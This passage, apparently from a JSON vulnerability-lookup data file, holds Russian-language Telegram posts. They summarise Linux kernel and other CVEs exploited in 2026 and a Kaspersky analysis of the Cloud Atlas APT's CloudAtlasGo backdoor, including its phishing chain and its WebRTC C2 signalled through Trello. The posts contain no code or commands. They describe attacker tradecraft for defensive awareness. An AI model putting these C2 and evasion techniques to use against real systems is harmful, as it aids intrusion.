\u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412\u0441\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430, \u0442\u0430\u043a \u0438\u043b\u0438 \u0438\u043d\u0430\u0447\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u043b\u0438\u0441\u044c \u043a \u043a\u044d\u0448\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 Linux.\n\n\u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435: CVE-2026-31431 (Copy Fail), CVE-2026-43284, CVE-2026-43500 (Dirty Frag), CVE-2026-46300 (Fragnesia), CVE-2026-31635 (DirtyDecrypt), CVE-2026-43494 (PinTheft) \u0438 CVE-2026-46331 (pedit COW).\n\n\u0412\u0441\u0435 \u043e\u043d\u0438 \u0441\u0440\u0430\u0437\u0443 \u0441\u0442\u0430\u043b\u0438 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c\u0438 \u0441\u0440\u0435\u0434\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u041b\u041a \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0442\u0430\u043a\u0436\u0435 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u0442\u0430\u0440\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439: CVE-2022-0847 (Dirty Pipe), CVE-2019-13272, CVE-2021-22555, CVE-2023-32233.\n\n\u0412 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043f\u043e \u0442\u0438\u043f\u0430\u043c \u041f\u041e \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0430\u0432\u043d\u043e \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u043b\u0438 \u0432 \u0432\u044b\u0431\u043e\u0440\u043a\u0443. \u0422\u0430\u043a, \u043c\u044b \u0441\u043d\u043e\u0432\u0430 \u0432\u0438\u0434\u0438\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u0442\u0430\u043a\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b, \u043a\u0430\u043a SharePoint.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0432 APT-\u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430\u043c\u0435\u0442\u0438\u043b\u0441\u044f \u0442\u0440\u0435\u043d\u0434 \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u0440\u0430\u0437\u0443 \u0441 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u0438\u0445 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c, \u043a\u0430\u043a \u0438 \u0440\u0430\u043d\u044c\u0448\u0435, \u0432 \u041b\u041a \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0438 \u043c\u043d\u043e\u0433\u043e 0-day. \u0421\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u043e\u0441\u043e\u0431\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Langflow - \u044d\u0442\u043e \u043e\u0434\u0438\u043d \u0438\u0437 \u043f\u0435\u0440\u0432\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432, \u043a\u043e\u0433\u0434\u0430 APT \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0418\u0418, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0435\u0439\u0447\u0430\u0441 \u0432\u043e \u043c\u043d\u043e\u0433\u0438\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u0445 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442 \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c.\n\n\u0421\u0430\u043c\u044b\u043c\u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u043c\u0438 C2-\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430\u043c\u0438 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f Sliver, Havoc, Adaptix\u04212 \u0438 Metasploit.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u043a\u0430 - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2026-08-27T00:00:09.082057Z"}, {"uuid": "8c58d880-9199-4424-a6b9-95fae601691e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/8435", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c\u00a0\u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c APT Cloud Atlas, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441 \u043d\u0430\u0447\u0430\u043b\u0430 \u043c\u0430\u044f 2026 \u0433\u043e\u0434\u0430 \u043d\u0430\u0447\u0430\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043d\u043e\u0432\u044b\u0439 \u0431\u044d\u043a\u0434\u043e\u0440.\n\nAPT \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0431\u044d\u043a\u0434\u043e\u0440\u043e\u0432 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 PowerShell \u0438 VBS, \u043e\u0434\u043d\u0430\u043a\u043e \u043d\u043e\u0432\u044b\u0439 \u0431\u044d\u043a\u0434\u043e\u0440 CloudAtlasGo \u043d\u0430\u043f\u0438\u0441\u0430\u043d \u043d\u0430 Golang. \u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0433\u043e \u043a\u0430\u043d\u0430\u043b\u0430 \u04212 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f WebRTC, \u0430 \u0434\u043b\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0441\u0438\u0433\u043d\u0430\u043b\u043e\u0432 \u043e\u0431 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f - \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b.\n\n\u041f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u0430\u044f \u0441\u0445\u0435\u043c\u0430 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u0442\u00a0\u0443\u0436\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u0443\u044e \u0440\u0430\u043d\u0435\u0435 \u0446\u0435\u043f\u043e\u0447\u043a\u0443. \u0420\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u043f\u0438\u0441\u044c\u043c\u0430 \u0441 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b (CVE-2018-0802) \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\n\u041f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0448\u0430\u0431\u043b\u043e\u043d \u0432 \u0432\u0438\u0434\u0435 RTF-\u0444\u0430\u0439\u043b\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0430 \u0444\u043e\u0440\u043c\u0443\u043b, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 HTML-\u0444\u0430\u0439\u043b \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f (HTA).\n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 HTA-\u0444\u0430\u0439\u043b \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442 \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u0434\u0438\u0441\u043a \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0444\u0430\u0439\u043b\u043e\u0432, \u044f\u0432\u043b\u044f\u044e\u0449\u0438\u0445\u0441\u044f \u0447\u0430\u0441\u0442\u044c\u044e \u0431\u044d\u043a\u0434\u043e\u0440\u0430 VBShower, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0442\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0434\u0440\u0443\u0433\u043e\u0439 \u0431\u044d\u043a\u0434\u043e\u0440, PowerShower.\n\n\u0412 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0435 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u043b\u0438\u0441\u044c \u0431\u044d\u043a\u0434\u043e\u0440\u0430\u043c\u0438 VBShower \u0438 PowerShower \u0434\u043b\u044f \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043a\u0440\u0430\u0436\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0432 \u041b\u041a \u0442\u0430\u043a\u0436\u0435 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u044b, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0430 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u0435 \u0445\u043e\u0441\u0442\u044b \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u043b\u0438\u0441\u044c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0433\u0440\u0443\u043f\u043f\u044b, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a\u00a0VBCloud \u0438 PowerCloud.\n\n\u0412 \u043d\u0430\u0447\u0430\u043b\u0435 \u043c\u0430\u044f 2026 \u0433\u043e\u0434\u0430 \u041b\u041a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u043d\u043e\u0432\u044b\u0439 \u0432\u0438\u0442\u043e\u043a \u044d\u0442\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438: \u0432 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u0431\u044d\u043a\u0434\u043e\u0440 PowerShower \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u043b \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 Golang, \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c \u0447\u0443\u0442\u044c \u0431\u043e\u043b\u0435\u0435 10 \u041c\u0411.\n\n\u042d\u0442\u043e\u0442 \u0437\u043b\u043e\u0432\u0440\u0435\u0434 \u0432 \u041b\u041a \u043d\u0430\u0437\u0432\u0430\u043b\u0438 CloudAtlasGo, \u043e\u043d \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b. \u0420\u0430\u043d\u0435\u0435 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 C2-\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0438 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u043b\u0441\u044f \u0443 \u0431\u044d\u043a\u0434\u043e\u0440\u0430 CloudAtlas, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b WebDAV \u0438 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b. \u041e\u0434\u043d\u0430\u043a\u043e \u0437\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432, \u044d\u0442\u0438 \u0437\u043b\u043e\u0432\u0440\u0435\u0434\u044b \u043d\u0435 \u043f\u043e\u0445\u043e\u0436\u0438 \u0434\u0440\u0443\u0433 \u043d\u0430 \u0434\u0440\u0443\u0433\u0430.\n\nCloudAtlasGo - \u044d\u0442\u043e \u0431\u044d\u043a\u0434\u043e\u0440, \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 \u043f\u0440\u043e\u0435\u043a\u0442\u0435 GitHub \u0434\u043b\u044f \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0442\u0440\u0430\u0444\u0438\u043a\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b \u043f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u0430\u043d \u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0438 \u0441 \u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 SDP (Session Description Protocol) \u043f\u0440\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 WebRTC.\n\n\u0414\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f WebRTC \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0441\u0438\u0433\u043d\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f SDP. \u0414\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0441\u0438\u0433\u043d\u0430\u043b\u043e\u0432 SDP \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0442\u0441\u044f \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b, \u043e\u0434\u043d\u0438\u043c \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f Trello. \u0411\u044d\u043a\u0434\u043e\u0440 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0435\u0433\u043e API \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043a\u0430\u0440\u0442\u043e\u0447\u043a\u0430\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0433\u043e \u043f\u0440\u043e\u0435\u043a\u0442\u0430. \u041e\u0434\u043d\u0430 \u0438\u0437 \u043a\u0430\u0440\u0442\u043e\u0447\u0435\u043a \u0432 \u043f\u043e\u043b\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0441\u0442\u0440\u043e\u043a\u0443, \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0432 Base64.\n\n\u0411\u044d\u043a\u0434\u043e\u0440 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u0442 \u0438 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u0442 \u044d\u0442\u0443 \u0441\u0442\u0440\u043e\u043a\u0443 \u043f\u043e \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u0443 AES, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u0442 \u0435\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e Brotli. \u041f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 JSON-\u0444\u0430\u0439\u043b \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 SDP \u0442\u0438\u043f\u0430 Offer \u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e \u0434\u043b\u044f ICE-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445\u0441\u044f \u0434\u043b\u044f \u0441\u0432\u044f\u0437\u0438 WebRTC. \u0410\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 API \u0431\u044d\u043a\u0434\u043e\u0440 \u043f\u0443\u0431\u043b\u0438\u043a\u0443\u0435\u0442 SDP-\u043e\u0442\u0432\u0435\u0442 (Answer) \u0432 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430 Trello.\n\n\u041f\u043e\u043c\u0438\u043c\u043e API Trello, \u0431\u044d\u043a\u0434\u043e\u0440 \u043c\u043e\u0436\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 WebRTC, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0442\u0430\u043a\u0438\u0435 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u044b, \u043a\u0430\u043a WebDAV \u0438\u043b\u0438 SFTP. \u041f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u0431\u044d\u043a\u0434\u043e\u0440 \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0440\u044f\u0434 \u043f\u0440\u043e\u0441\u0442\u044b\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b, \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0435 \u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u044f \u043e\u0442\u043b\u0430\u0434\u0447\u0438\u043a\u0430.\n\n\u0417\u0430\u0442\u0435\u043c CloudAtlasGo \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u0442 \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 YAML, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0434\u043b\u044f \u043e\u0431\u043c\u0435\u043d\u0430 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u043c\u0438 SDP, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432.\n\n\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, Cloud Atlas \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439. \u041d\u043e\u0432\u044b\u0439 CloudAtlasGo \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 WebRTC \u0434\u043b\u044f \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0438 \u0441 \u04212 \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c SDP.\n\n\u041f\u0440\u0438\u0447\u0435\u043c, \u0434\u043b\u044f \u0435\u0433\u043e \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 